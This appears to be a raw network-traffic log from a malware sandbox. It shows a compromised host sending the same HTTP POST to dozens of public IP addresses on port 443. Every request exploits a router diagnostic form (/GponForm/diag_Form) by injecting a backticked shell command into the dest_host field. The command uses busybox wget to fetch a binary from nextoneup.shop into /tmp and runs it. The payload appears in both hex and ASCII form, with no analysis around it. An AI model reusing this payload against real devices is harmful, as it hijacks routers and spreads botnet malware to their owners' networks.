Apr 14, 2024 04:01:06.131917953 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1588	192.168.2.13	58580	117.101.223.146	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:06.131917953 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1589	192.168.2.13	34354	212.176.131.252	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:06.131947041 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1590	192.168.2.13	56754	148.99.47.81	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:06.131968975 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1591	192.168.2.13	60800	148.145.200.186	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:06.131977081 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1592	192.168.2.13	43238	42.161.224.57	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:06.131994963 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1593	192.168.2.13	44862	178.190.112.231	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:06.132005930 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1594	192.168.2.13	37634	2.148.29.9	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:06.132019043 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1595	192.168.2.13	52500	202.60.254.29	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:06.132038116 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1596	192.168.2.13	45946	148.171.215.233	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:06.132080078 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1597	192.168.2.13	37472	212.16.76.131	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:06.132085085 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1598	192.168.2.13	43900	109.109.1.244	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:06.132118940 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1599	192.168.2.13	40548	178.97.154.132	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:06.132136106 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1600	192.168.2.13	39196	79.208.223.10	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:06.132145882 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1601	192.168.2.13	41292	123.189.51.219	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:06.132173061 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1602	192.168.2.13	51498	79.247.124.179	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:06.132195950 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1603	192.168.2.13	50772	42.99.113.157	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:06.132245064 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1604	192.168.2.13	47382	210.13.99.46	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:06.132245064 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1605	192.168.2.13	45386	118.189.240.231	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:06.132265091 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1606	192.168.2.13	55818	5.29.221.66	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:06.132285118 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1607	192.168.2.13	51238	202.74.46.179	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:06.132311106 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1608	192.168.2.13	56356	123.179.201.99	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:06.132323027 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1609	192.168.2.13	37290	202.59.248.211	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:06.132344961 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1610	192.168.2.13	41682	37.152.125.179	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:06.132366896 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1611	192.168.2.13	59032	123.191.74.128	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:06.132396936 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1612	192.168.2.13	37866	148.0.236.97	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:06.132406950 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

